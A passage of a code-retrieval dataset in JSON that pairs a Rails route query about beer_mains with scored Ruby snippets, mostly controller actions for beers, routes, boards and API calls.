"text": "def reservation_is_valid\n result = Luvwrapper.view_reservation(self.rcrd_loc, self.first_name, self.last_name)\n \n if result.success?\n itinerary = result.itinerary\n itinerary.destinations.each do |destination|\n destination.segments.each do |s|\n @seg = Segment.new(:origin => s.departing_airport_code,\n :flt_time => s.departing_time,\n :checkin_time => (self.a_list ? s.departing_time - 36.hours : s.departing_time - 24.hours))\n @seg.save\n self.segments << @seg\n end\n end\n return\n else \n errors.add(:rcrd_loc, 'Invalid Confirmation #')\n end\n end",
"title": ""
},
{
"docid": "92bfaed9261d1a69c026e68520fdd091",
"score": "0.4828098",
"text": "def add_neighbors cell_matrix\n\t\t@neighbors[:left] = cell_matrix[ @row, @col - 1 ] unless @col == 0\n\t\t@neighbors[:top] = cell_matrix[ @row - 1, @col ] unless @row == 0\n\t\t@neighbors[:right] = cell_matrix[ @row, @col + 1 ] unless @col == (cell_matrix.to_a)[0].length-1\n\t\t@neighbors[:bottom] = cell_matrix[ @row + 1, @col ] unless @row == (cell_matrix.to_a).length-1\n\tend",
"title": ""
},
{
"docid": "5ce2120bbc79da5a1dae33ce7c909cba",
"score": "0.48252845",
"text": "def protect_range(cells); end",
"title": ""
},
{
"docid": "6b6f86941f7170bc0efe70bc28e3319f",
"score": "0.4820892",
"text": "def add_route(metro1, metro2, distance)\n if exist_nodes([metro1, metro2])\n self.add_edge(metro1, metro2, distance)\n @nodes[metro1]['flight_to'].push(metro2)\n end\n end",
"title": ""
},
{
"docid": "04ee1396622b2af9a3fd26ddf529c417",
"score": "0.48203978",
"text": "def test_add_route\n santiago = @south_america.vertices[@south_america.metros['santiago']]\n bogota = @south_america.vertices[@south_america.metros['bogota']]\n\n assert_equal(0, santiago.find_route('BOG'.to_sym).length)\n\n @south_america.add_route_with_distance('SCL'.to_sym, 'BOG'.to_sym, 5000)\n assert_equal(1, santiago.find_route('BOG'.to_sym).length)\n assert_equal(0, bogota.find_route('SCL'.to_sym).length)\n end",
"title": ""
},
{
"docid": "d4e21e72ebee8df714b240f704ff67e7",
"score": "0.4818217",
"text": "def parse_and_add_routes\n\n routes_list = @json_dict['routes']\n\n routes_list.each do |route|\n source = route['ports'][0]\n destination = route['ports'][1]\n @json_graph_api.add_edge(source,destination,route)\n end\n\n end",
"title": ""
},
{
"docid": "93c8625814b0fd9cbcadd1cdb2378903",
"score": "0.48137617",
"text": "def valid_range(cells, testing = false)\n if cells[0].nil? || cells[1].nil?\n puts \"error: enter valid positions\" if !testing\n return false\n end\n if cells[0].piece.in_range.include?(cells[1].pos)\n return true\n else\n puts \"#{cells[1].pos} not in-range for #{cells[0].piece.class} @ #{cells[0].pos}\" if !testing\n return false\n end\n end",
"title": ""
},
{
"docid": "a1ea37d0c8be54fc3d4773d1763b4748",
"score": "0.48087955",
"text": "def set_all_cell_adjacent_mines\n @board.each_with_index do |row, row_index|\n @board[row_index].each_with_index do |column, column_index|\n set_cell_adjacent_mines(row_index,column_index)\n end\n end\n end",
"title": ""
},
{
"docid": "92482ddf6a30b1410612e1e10d432cf7",
"score": "0.4806163",
"text": "def cells_with_wire(wire)\r\n grid = []\r\n current_x = 0\r\n current_y = 0\r\n for i in (0..wire.length-1) #split is getting one extra blank field for some reason?\r\n direction = wire[i].slice(0)\r\n steps = wire[i].slice(1,10).to_i\r\n case direction\r\n when \"R\"\r\n #going right, keep y digit, increase x\r\n grid += ((1...steps).map{|x| [current_x + x, current_y]})\r\n current_x += steps\r\n when \"L\"\r\n #going left, keep y, decrease x\r\n grid += ((1...steps).map{|x| [current_x - x, current_y]})\r\n current_x -= steps\r\n when \"U\"\r\n #going up, keep x, increase y\r\n grid += ((1...steps).map{|y| [current_x, current_y+y]})\r\n current_y += steps\r\n\r\n when \"D\"\r\n #going down, keep x, decrease y\r\n grid += ((1...steps).map{|y| [current_x, current_y-y]})\r\n current_y -= steps\r\n else\r\n puts \"Error #{instruction} does not make sense\"\r\n break\r\n end\r\n end\r\n grid\r\nend",
"title": ""
},
{
"docid": "b44b32ee3c667c1fdf55ad6755191c35",
"score": "0.48032326",
"text": "def build_a_route(test_case, start_row)\n @routes[@route_number] = []\n traverse_all_options(test_case, get_array_of_options(test_case, start_row), 0)\n @route_number += 1\n end",
"title": ""
},
{
"docid": "59962964f07a1e8185bbdac26d0d8247",
"score": "0.48012513",
"text": "def valid_route(ports, input, count)\n if @metros.has_key?(input)\n return true if count == 0 # valid since no previous metro\n code_start = @metros[ports[count-1]]\n code_end = @metros[input]\n route_array = @vertices[code_start].find_route(code_end)\n # make sure that there exists a route from ports[count-1] to input\n route_array.length > 0\n else\n false\n end\n end",
"title": ""
},
{
"docid": "679ebfd439bb97d48a13c546c5d73d03",
"score": "0.47978157",
"text": "def validate_times_overlap\n if Routes.exist(driver_id: self.driver_id.to_i) || Routes.exist(vehicle_id: self.vehicle_id.to_i)\n routes_all_driver = Routes.where(driver_id: self.driver_id.to_i)\n routes_all_vehicle = Routes.where(vehicle_id: self.vehicle_id.to_i)\n save_routes = []\n routes_all_driver.each do |route|\n unless (self.start_at..self.ends_at).overlaps?(route.start_at..route.ends_at)\n save_routes << (route)\n end\n end\n routes_all_vehicle.each do |route|\n unless (self.start_at..self.ends_at).overlaps?(route.start_at..route.ends_at)\n save_routes << (route)\n end\n end\n if save_routes != []\n errors.add(:start_at,:ends_at, \"The driver or vehicule are not available in this hour\")\n end\n end\n end",
"title": ""
},
{
"docid": "98c036fda2ae344a92e0de5305f76620",
"score": "0.4790123",
"text": "def add route\n tuples = @template_scanner.parse route\n @lexemes += tuples\n @lexemes.uniq!\n tuples.map { |x| x.first }\n end",
"title": ""
},
{
"docid": "f104fe2b728a1e0825db1dc0b54fa315",
"score": "0.47826403",
"text": "def initialize\n @cells = [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]\n end",
"title": ""
},
{
"docid": "f104fe2b728a1e0825db1dc0b54fa315",
"score": "0.47826403",
"text": "def initialize\n @cells = [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]\n end",
"title": ""
},
{
"docid": "785f8b87220045d44b438e6a37cb1940",
"score": "0.4778089",
"text": "def create_cell(*location)\n for i in @world\n if location.any? {|location| i == location}\n i[2] = true\n end\n end\n end",
"title": ""
},
{
"docid": "14c9b625effe9deae2a5ae17e857ca95",
"score": "0.47775748",
"text": "def check_valid_moves(board = @board)\n available_moves = board.cells.collect.each_with_index{|cell, index| index if cell == ' '}\n available_moves.reject{|cell| cell.nil?}\n end",
"title": ""
},
{
"docid": "fc36adc93af1d4330b1f62acf8e3b01c",
"score": "0.4771679",
"text": "def updateRouteTable\n for i in $startNode .. $endNode\n if($opHashRoute[i] != nil && $opHashRoute[i] != \"\")\n $opHashRoute[i] = createRouteTable(i)\n end\n end\nend",
"title": ""
},
{
"docid": "467744fa5633e928f77e77f2ec3b6dfb",
"score": "0.47697547",
"text": "def check_placement(tiles)\n extends = false\n rows = []\n cols = []\n occupied = []\n\n tiles.each do |tile|\n r = tile[:row]\n c = tile[:column]\n rows << r\n cols << c\n\n # Check if the tile already has a letter on it.\n if @board.tiles[r][c].letter != nil\n puts \"Occupied!\"\n occupied << {\"row\" => r, \"column\" => c}\n end\n\n # Check if there is at least one placed tile next to a new one.\n # The letters has to be connected to the old letters already on the board.\n if r != 0\n if @board.tiles[r-1][c].letter != nil\n extends = true\n end\n end\n if !extends && c != 0\n if @board.tiles[r][c-1].letter != nil\n extends = true\n end\n end\n begin\n if @board.tiles[r+1][c].letter != nil\n extends = true\n end\n rescue NoMethodError\n end\n begin\n if @board.tiles[r][c+1].letter != nil\n extends = true\n end\n rescue NoMethodError\n end\n end\n\n if occupied.length > 0\n puts \"Occupied!\"\n # return {error: {\"Tile occupied\" => occupied}}\n return Response.new(error: true, error_type: \"Tile occupied\", message: occupied)\n end\n \n if !extends\n # If there are no letters placed then it will fail\n # It's valid if the word is placed on the centre tile\n centre = false\n tiles.each do |tile|\n r = tile[:row]\n c = tile[:column]\n if @board.tiles[r][c].attribute == \"centre\"\n centre = true\n break\n end\n end\n \n if !centre\n if @latest_updated_tiles.length == 0\n puts \"Not in the centre!\"\n return Response.new(error: true, error_type: \"Invalid placement\", message: \"Not in the centre!\")\n else\n puts \"Does not extend current board!\"\n # return {error: {\"Invalid placement\" => \"Not in the centre or does not extend current board!\"}}\n return Response.new(error: true, error_type: \"Invalid placement\", message: \"Does not extend current board!\")\n end\n end\n end\n\n # Check if the placed tiles are placed in the same column or row.\n # One of them has to be true for it to be a valid turn.\n same_rows = rows.uniq.length == 1\n same_cols = cols.uniq.length == 1\n\n if !same_rows && !same_cols\n puts \"Not all placed on the same row or column!\"\n return Response.new(error: true, error_type: \"Invalid placement\", message: \"Not all letters placed on the same row or column!\")\n # return {error: {\"Invalid placement\" => \"Not all placed on the same row or column!\"}}\n end\n\n # Check if the letters are placed together in a continous line.\n # Sort the rows/columns and check if they have a gap between them.\n gaps = []\n if same_rows\n cols = cols.sort\n p cols\n i = 1\n while i < cols.length\n # Check if there is a gap\n if cols[i] - cols[i-1] != 1\n # Add all the cols in the gap to an array\n gaps.concat [*(cols[i-1] + 1)..(cols[i] - 1)]\n end\n i += 1\n end\n\n if gaps.length > 0\n # There are gaps in the word\n gaps.each do |col|\n # Check if the gaps already have letters\n if @board.tiles[rows[0]][col].letter == nil\n puts \"Letters not placed together!\"\n return Response.new(error: true, error_type: \"Invalid placement\", message: \"Letters not placed together!\")\n # return {error: {\"Invalid placement\" => \"Letters not placed together!\"}}\n end\n end\n end\n else\n rows = rows.sort\n p rows\n i = 1\n while i < rows.length\n if rows[i] - rows[i-1] != 1\n gaps.concat [*(rows[i-1] + 1)..(rows[i] - 1)]\n end\n i += 1\n end\n\n if gaps.length > 0\n # There are gaps\n gaps.each do |row|\n # Check if the gaps already have letters\n if @board.tiles[row][cols[0]].letter == nil\n puts \"Letters not placed together!\"\n # return {error: {\"Invalid placement\" => \"Letters not placed together!\"}}\n return Response.new(error: true, error_type: \"Invalid placement\", message: \"Letters not placed together!\")\n end\n end\n end\n end\n\n puts \"Whohoo!\"\n # return true\n return Response.new(success: true)\n end",
"title": ""
},
{
"docid": "b6d7f3156ea21d2eb2e820bf84943f30",
"score": "0.4769349",
"text": "def initialize\n self.cells = [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]\n end",
"title": ""
},
{
"docid": "67545d96c0953c1e44f7b63265982e57",
"score": "0.47629377",
"text": "def can_continue(cell, routeCells, exitcell= nil)\n deadEnd = cell.is_dead_end?\n looping = routeCells.include? cell\n exitcell.nil? ? reachedexit = exitcell == cell : reachedexit = false\n !looping && !deadEnd && !routeCells.empty? && !reachedexit\n end",
"title": ""
}
] |
66a389bc746615b42e162026bf746b56
|
GET /beer_mains/1 GET /beer_mains/1.json
|
[
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] |
[
{
"docid": "a84e82c8e8ea69d91217a4ea140fd19a",
"score": "0.72948754",
"text": "def index\n @beer_mains = BeerMain.all\n end",
"title": ""
},
{
"docid": "55661ff5a7a662de6c34c647d1e2ee73",
"score": "0.64980966",
"text": "def index\n @beers = Beer.all\n\n render json: @beers\n end",
"title": ""
},
{
"docid": "da8a87bad843d98c79738c90e88b550f",
"score": "0.6449108",
"text": "def index\n @beers = Beer.all.order(:name)\n render json: @beers\n end",
"title": ""
},
{
"docid": "27526ac62ad10c1de74578947b5da8f7",
"score": "0.63572276",
"text": "def set_beer_main\n @beer_main = BeerMain.find(params[:id])\n end",
"title": ""
},
{
"docid": "2eddf40549fdea0c53364ae2d6ab4524",
"score": "0.63529867",
"text": "def index\n @mains = Main.all\n end",
"title": ""
},
{
"docid": "2eddf40549fdea0c53364ae2d6ab4524",
"score": "0.63529867",
"text": "def index\n @mains = Main.all\n end",
"title": ""
},
{
"docid": "2eddf40549fdea0c53364ae2d6ab4524",
"score": "0.63529867",
"text": "def index\n @mains = Main.all\n end",
"title": ""
},
{
"docid": "4e78dc3a17211514969682c82575cf39",
"score": "0.63449913",
"text": "def show\n @beer = Beer.find(params[:id])\n render json: @beer\n end",
"title": ""
},
{
"docid": "4da92827112628fe8c401e8303dc6f67",
"score": "0.63156325",
"text": "def index\n render json: Beer.all\n end",
"title": ""
},
{
"docid": "b6e57174cb69cb6659e2e5bb315caadc",
"score": "0.62789506",
"text": "def index\n beers = @beer.get_beers(beer_params.to_h, @current_user)\n\n render json: {\n status: beers[:status],\n beers: beers[:beers],\n errors: beers[:errors]\n }\n end",
"title": ""
},
{
"docid": "9b37c6854067720b1598d493347ca3d3",
"score": "0.6220739",
"text": "def venue_instock\n @beers = Untappd::Beer.feed(params[:bid])\n render json: @beers\n end",
"title": ""
},
{
"docid": "d38cf319f712bc45a781a39669ccbdc6",
"score": "0.6215679",
"text": "def show\n @mains = Main.all\n end",
"title": ""
},
{
"docid": "8a3909d88579c56307271a9b26ef32ea",
"score": "0.6205379",
"text": "def show\n render json: @beer\n end",
"title": ""
},
{
"docid": "96c7c1fb4a48ac9ee68d4c8bf7fcbbb0",
"score": "0.6190558",
"text": "def index\n @waivers = Waiver.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @waivers }\n end\n end",
"title": ""
},
{
"docid": "3f1afbf84c913a958dc380e221a8dcf0",
"score": "0.6165655",
"text": "def index\n @e_mains = EMain.all\n end",
"title": ""
},
{
"docid": "fe854865c5b76eb863642255e42e93da",
"score": "0.61467254",
"text": "def index\n @beers = Beer.all\n respond_to do |f|\n f.html\n f.json { render json: @beers}\n end\n end",
"title": ""
},
{
"docid": "ea6fba1bfdd07dcf0e625a5af9bc9e33",
"score": "0.61268896",
"text": "def index\n @themains = Themain.all\n end",
"title": ""
},
{
"docid": "59864ef5567113ddf0526f257f86824c",
"score": "0.61044395",
"text": "def index\n @beers = Beer.all.order(brand: :asc)\n render json: @beers\n end",
"title": ""
},
{
"docid": "0afd85a7ffc0aaaabedf5cd374b221ef",
"score": "0.6097399",
"text": "def index\n @beaches = Beach.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @beaches }\n end\n end",
"title": ""
},
{
"docid": "4c29fd40210be428d476c209f189d2b6",
"score": "0.6043542",
"text": "def index\n beer_array = []\n latest_beer = Beer.last\n beers = Beer.all.limit(22)\n first_beer = beers.first\n test_beers = beers.to_a\n unless first_beer[:name] == latest_beer[:name]\n beers = test_beers.unshift(latest_beer)\n end\n\n beers.each do |beer|\n\n rating = 0\n iterations = 0\n beer.reviews.each do |review|\n iterations += 1;\n rating += review.rating.to_i;\n end\n if iterations == 0\n rating = 'No Ratings'\n else\n rating = (rating.to_f / iterations).round(1)\n end\n entry = { id: beer.id, name: beer.name, brewery: {name: beer.brewery.name, website: beer.brewery.website}, rating: rating }\n beer_array.push(entry)\n end\n render json: {beers: beer_array, current_user: {status: user_signed_in?, id: current_user.id}}.to_json\n end",
"title": ""
},
{
"docid": "32439e920d5c924ea41c1731c5bced46",
"score": "0.6026898",
"text": "def show\n @beer = Beer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beer }\n end\n end",
"title": ""
},
{
"docid": "32439e920d5c924ea41c1731c5bced46",
"score": "0.6026898",
"text": "def show\n @beer = Beer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beer }\n end\n end",
"title": ""
},
{
"docid": "1443dc5d4061ca4f662434d90769e26d",
"score": "0.6021985",
"text": "def show\n @beer = Beer.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beer }\n end\n end",
"title": ""
},
{
"docid": "ec17cce6038d3eb6ab76783f985a36c2",
"score": "0.59918684",
"text": "def create\n @beer_main = BeerMain.new(beer_main_params)\n\n respond_to do |format|\n if @beer_main.save\n format.html { redirect_to @beer_main, notice: 'Beer main was successfully created.' }\n format.json { render :show, status: :created, location: @beer_main }\n else\n format.html { render :new }\n format.json { render json: @beer_main.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "266810108e8ea423ad589e457ad116da",
"score": "0.5971222",
"text": "def show\n brand = Brand.find(params[:id])\n render json: {brand: brand, beers:brand.beers}\n end",
"title": ""
},
{
"docid": "aab9c306f5ac4536ff131bc352f37a73",
"score": "0.59624386",
"text": "def show\n @main_blade = MainBlade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @main_blade }\n end\n end",
"title": ""
},
{
"docid": "e19d6a2c9d8ba8670bf820a53d8d01b2",
"score": "0.59482765",
"text": "def all_beers\n \tall_beers_beer = Beer.where(user: @current_user)\n\n \trender json: all_beers_beer, adapter: :json_api, each_serializer: BeerSerializer\n\n end",
"title": ""
},
{
"docid": "f26490697a3a3ac1745ddceb5f14f233",
"score": "0.59360814",
"text": "def beers_list\n \t@url = 'https://api.punkapi.com/v2/beers' \t\t\n \tresponse = RestClient.get beer_url\n \tjson_response = JSON.parse response.body\n\n \tcreate_list = ::Beers::Create.call(\n \t\tuser: @current_user,\n \t\tbeers_data: json_response\n \t)\n \t\n \trender json: create_list.beers, adapter: :json_api, each_serializer: BeerSerializer\n end",
"title": ""
},
{
"docid": "4e3ef8428f68918f9216edd55ae2f5d1",
"score": "0.5912413",
"text": "def getBeacons\n\t\t@room = Room.where(:name => params[:name]).take\n\t\t@beacons = @room.beacon.all\n\t\trender json: @beacons\n\tend",
"title": ""
},
{
"docid": "d3b9df68fd6bf614cd29e6a60ec7aa1f",
"score": "0.5889854",
"text": "def show\n @beermap = Beermap.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beermap }\n end\n end",
"title": ""
},
{
"docid": "ea4fc77505c1f24de6ea77b4ee1a0b3e",
"score": "0.5884923",
"text": "def show\n @mainpage = Mainpage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mainpage }\n end\n end",
"title": ""
},
{
"docid": "a17260c78f748061b6389044cbe6f344",
"score": "0.5876206",
"text": "def index\n @minerals = Mineral.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @minerals }\n end\n end",
"title": ""
},
{
"docid": "b426bd8a129767065e5c65458b85fa36",
"score": "0.5872374",
"text": "def index\n @beers = Beer.first(100)\n end",
"title": ""
},
{
"docid": "b5dff1e41a23e2b112c22d44e46a070e",
"score": "0.58569074",
"text": "def index\n @beings = Being.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @beings }\n end\n end",
"title": ""
},
{
"docid": "61e7436abbe222ea78645431ffc3315b",
"score": "0.58555627",
"text": "def show\n @mainboard = Mainboard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mainboard }\n end\n end",
"title": ""
},
{
"docid": "75925198c078035de87c8265ce3c507a",
"score": "0.58431435",
"text": "def show\n @main = Main.find(params[:id])\n end",
"title": ""
},
{
"docid": "14a9569babc9d5f9fa8b3da83171ba7a",
"score": "0.583153",
"text": "def index\n @rainfalls = Rainfall.all\n respond_to do |format|\n format.html { render json: @rainfalls} \n end\n end",
"title": ""
},
{
"docid": "6770eacacea06acfd43e3263b773e912",
"score": "0.5827576",
"text": "def index\n\t\t@beers = Beer.all\n\tend",
"title": ""
},
{
"docid": "d5681504dae41cde538307a739a3d910",
"score": "0.58147025",
"text": "def index\r\n @waterbottles = Waterbottle.order(\"volume DESC\").all\r\n \r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @waterbottles }\r\n end\r\n end",
"title": ""
},
{
"docid": "5ef8489be510e438ecc604c8088476b7",
"score": "0.5813501",
"text": "def set_api_v1_main\n @api_v1_main = Main.find(params[:id])\n end",
"title": ""
},
{
"docid": "9123675220bba9afb9c6bd5a58d4641b",
"score": "0.5796929",
"text": "def index\n @beers = Beer.all\n end",
"title": ""
},
{
"docid": "1b2c62a6545dd2b43aa7765294b9199b",
"score": "0.5796299",
"text": "def index\n @maindishes = Maindish.all\n end",
"title": ""
},
{
"docid": "078c807209dc2926658c3834c21a4c22",
"score": "0.5747084",
"text": "def show\n @beet = Beet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beet }\n end\n end",
"title": ""
},
{
"docid": "74b64f93d9c23856cc2a499258fe8b7a",
"score": "0.57332146",
"text": "def show\n @main_worklist = MainWorklist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @main_worklist }\n end\n end",
"title": ""
},
{
"docid": "b6476a32d29beb03b14a609348e56e87",
"score": "0.57234865",
"text": "def show\n @trainee = Trainee.find(params[:id])\n\n render json: @trainee.as_json(only: [:trainer_id, :name, :height, :weight, :bio], \n include: [:exercises, :foods])\n end",
"title": ""
},
{
"docid": "f7dbe2a107e28f5872f996956076eb6b",
"score": "0.57197136",
"text": "def show\n @location = get_location\n @corkboards = @location.corkboards\n\n w_api = Wunderground.new(\"95dee549dd84ecec\")\n @temperature = w_api.conditions_for(@location.nation, @location.city)['current_observation']['temperature_string']\n\n\n url = \"http://www.numbeo.com/api/city_prices?api_key=95kfsvuejq8fyd&query=#{@location.city}¤cy=USD\"\n response = RestClient.get(url)\n\n\n numbeo_response = JSON.parse(response)\n\n numbeo_response[\"prices\"].each do |price|\n if price[\"item_id\"] == 26\n @rent_get = price[\"average_price\"].round\n elsif\n price[\"item_id\"] == 14\n @wine_get = price[\"average_price\"].round(2)\n elsif\n price[\"item_id\"] == 1\n @meal_get = price[\"average_price\"].round(2)\n elsif\n price[\"item_id\"] == 105\n @disp_income_get = price[\"average_price\"].round\n elsif\n price[\"item_id\"] == 30\n @utilities_get = price[\"average_price\"].round\n elsif\n price[\"item_id\"] == 20\n @trans_get = price[\"average_price\"].round\n elsif\n price[\"item_id\"] == 114\n @cappuccino_get = price[\"average_price\"].round(2)\n elsif\n price[\"item_id\"] == 111\n @oranges_get = price[\"average_price\"].round(2)\n elsif\n price[\"item_id\"] == 9\n @bread_get = price[\"average_price\"].round(2)\n else\n end\n end\n\n\n\n end",
"title": ""
},
{
"docid": "d6a879df85abc965945f045bb2476ecc",
"score": "0.5708363",
"text": "def larves\n self.class.get('/monstre_larve.json')\n end",
"title": ""
},
{
"docid": "bba95f09d4d623b786775e08051d90e1",
"score": "0.57018614",
"text": "def show\n @waiver = Waiver.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @waiver }\n end\n end",
"title": ""
},
{
"docid": "bba95f09d4d623b786775e08051d90e1",
"score": "0.57018614",
"text": "def show\n @waiver = Waiver.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @waiver }\n end\n end",
"title": ""
},
{
"docid": "bba95f09d4d623b786775e08051d90e1",
"score": "0.57018614",
"text": "def show\n @waiver = Waiver.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @waiver }\n end\n end",
"title": ""
},
{
"docid": "969a5a4c7dbe9b9abd6630c373b26b2d",
"score": "0.57001346",
"text": "def get_all_beers\n counter = 1\n response_array = []\n while counter < 2\n response_string = RestClient.get('https://sandbox-api.brewerydb.com/v2/beers/?p='\"#{counter}\"'&key=67caa2c52c8169eeea83e4c37e6d9b14')\n response_hash = JSON.parse(response_string)\n response_array << response_hash[\"data\"]\n counter += 1\n # binding.pry\n end\n response_array.flatten\nend",
"title": ""
},
{
"docid": "fa1c0adcfc2b5b0a280b594b1bac8ed6",
"score": "0.5697519",
"text": "def index\n @egivings = Egiving.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @egivings }\n end\n end",
"title": ""
},
{
"docid": "15504d217eb372847f7231cf132095a7",
"score": "0.5682726",
"text": "def index\n render json: @bowties\n end",
"title": ""
},
{
"docid": "ce272877ffab013baab2c455c77a6f92",
"score": "0.5677557",
"text": "def show\n @wholesaler = Wholesaler.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wholesaler }\n end\n end",
"title": ""
},
{
"docid": "1ba7ac4d5283f45e70f1fd9a88983923",
"score": "0.5665736",
"text": "def beers\n @brewery = Brewery.from_param params[:id]\n @beers = @brewery.beers\n\n respond_to do |format|\n format.json { render_for_api :brewery, :json => @beers }\n format.xml { render_for_api :brewery, :xml => @beers }\n end\n end",
"title": ""
},
{
"docid": "dd55037152408bc156d779899d49326a",
"score": "0.566313",
"text": "def index\n @auctions = Auction.where(status:\"live\")\n\n render json: @auctions\n end",
"title": ""
},
{
"docid": "cb56b8f8361fee34c06437d810c230ca",
"score": "0.56510085",
"text": "def show\n @mainform = Mainform.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mainform }\n end\n end",
"title": ""
},
{
"docid": "ea36024daf5b0e5db3e52576bd32b8ee",
"score": "0.56509304",
"text": "def index\n local = Local.all\n json_response(local)\n end",
"title": ""
},
{
"docid": "da1c3f5e4f8fd4c01bd95ec0dd616230",
"score": "0.5626578",
"text": "def index\n @riders = Rider.all\n render json: @riders\n end",
"title": ""
},
{
"docid": "15437b35de43cca6f731b99043a962d0",
"score": "0.56254864",
"text": "def index\n @main_entities = MainEntity.all\n end",
"title": ""
},
{
"docid": "d3dc0d1d2a9704e2567930a3ea8c3ea2",
"score": "0.562407",
"text": "def index\n @used_bike_models = UsedBikeModel.all\n\n render json: @used_bike_models\n end",
"title": ""
},
{
"docid": "7a3e708a71868b314b841c7df728f412",
"score": "0.5622716",
"text": "def index\n @webinars = Webinar.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @webinars }\n end\n end",
"title": ""
},
{
"docid": "e27729d4ea768b422214fdf952e2065f",
"score": "0.56158406",
"text": "def get_brandings\n request :get,\n '/v3/brandings.json'\n end",
"title": ""
},
{
"docid": "91a03330528f4ed1abb9d68dc1b2f163",
"score": "0.5613105",
"text": "def beer_main_params\n params.require(:beer_main).permit(:name)\n end",
"title": ""
},
{
"docid": "fd954bfdbc06cfef1948993bc823db92",
"score": "0.56104374",
"text": "def show\n @bead = Bead.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bead }\n end\n end",
"title": ""
},
{
"docid": "4c6c11b792c80bbc1c387365a2ef3264",
"score": "0.56101185",
"text": "def update\n respond_to do |format|\n if @beer_main.update(beer_main_params)\n format.html { redirect_to @beer_main, notice: 'Beer main was successfully updated.' }\n format.json { render :show, status: :ok, location: @beer_main }\n else\n format.html { render :edit }\n format.json { render json: @beer_main.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eaaa3c88b479bc00dfc867b12682cdf9",
"score": "0.560668",
"text": "def index\n @main_parts = MainPart.all\n end",
"title": ""
},
{
"docid": "58a37e11343b2116239a1c07c15c0f1f",
"score": "0.56065303",
"text": "def beer(id)\n options = { :bid => id }\n get('/beer_info', options)\n end",
"title": ""
},
{
"docid": "15fddbeafa5832ee257b628cc754c3fb",
"score": "0.5605433",
"text": "def index\n @main_worklists = MainWorklist.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @main_worklists }\n end\n end",
"title": ""
},
{
"docid": "a55488637f72af5308ff1a7e0bb0e51a",
"score": "0.5604559",
"text": "def show\n @broadside = Broadside.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @broadside }\n end\n end",
"title": ""
},
{
"docid": "ba7637badf6025aa83ef6a480a77b910",
"score": "0.5602118",
"text": "def home\n \t#uri = URI.parse(\"http://octopart.com/api/v2/parts/search?q=CY7C2544\")\n \turi = URI.parse(\"http://octopart.com/api/v2/parts/search?q=MT49H&apikey=298ff890\")\n \t#@data = Net::HTTP.get(uri) - works\n \t#render :json => @data\n \t@data = MultiJson.load(Net::HTTP.get(uri))\n \t@data = @data[\"results\"]\n end",
"title": ""
},
{
"docid": "08ba44a70599deb6c8ffb9f77e1433b8",
"score": "0.5600333",
"text": "def index\n @deals = @business.deals \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deals }\n end\n end",
"title": ""
},
{
"docid": "46017ace00912402435c247b1de05f2d",
"score": "0.55980307",
"text": "def index\n @rivers = River.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rivers }\n end\n end",
"title": ""
},
{
"docid": "46017ace00912402435c247b1de05f2d",
"score": "0.55980307",
"text": "def index\n @rivers = River.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rivers }\n end\n end",
"title": ""
},
{
"docid": "dd3467040d801230cd07373dcd6b1ff1",
"score": "0.55973524",
"text": "def show\n @bee = Bee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bee }\n end\n end",
"title": ""
},
{
"docid": "866a5e547eefbc51ef182f0a5fccc2f0",
"score": "0.5578395",
"text": "def index\n @servers = Server.includes(:license).includes(:client).includes(:parent).first(500)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @servers }\n end\n end",
"title": ""
},
{
"docid": "d5fbe05b5b37a3f921456c9d15da98df",
"score": "0.5574058",
"text": "def index\n @waivers = if current_person\n Waiver.visible_to_volunteers\n elsif current_resident\n Waiver.visible_to_residents\n else\n Waiver.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @waivers }\n end\n end",
"title": ""
},
{
"docid": "1357de8bb7849cfc8dfc7258a752fc3c",
"score": "0.55659366",
"text": "def request\n HTTParty.get('http://api.brewerydb.com/v2/beer/' + @beer_id + '?withBreweries=Y&key=' + ENV['API_KEY'] + '&format=json')\n end",
"title": ""
},
{
"docid": "1357de8bb7849cfc8dfc7258a752fc3c",
"score": "0.55659366",
"text": "def request\n HTTParty.get('http://api.brewerydb.com/v2/beer/' + @beer_id + '?withBreweries=Y&key=' + ENV['API_KEY'] + '&format=json')\n end",
"title": ""
},
{
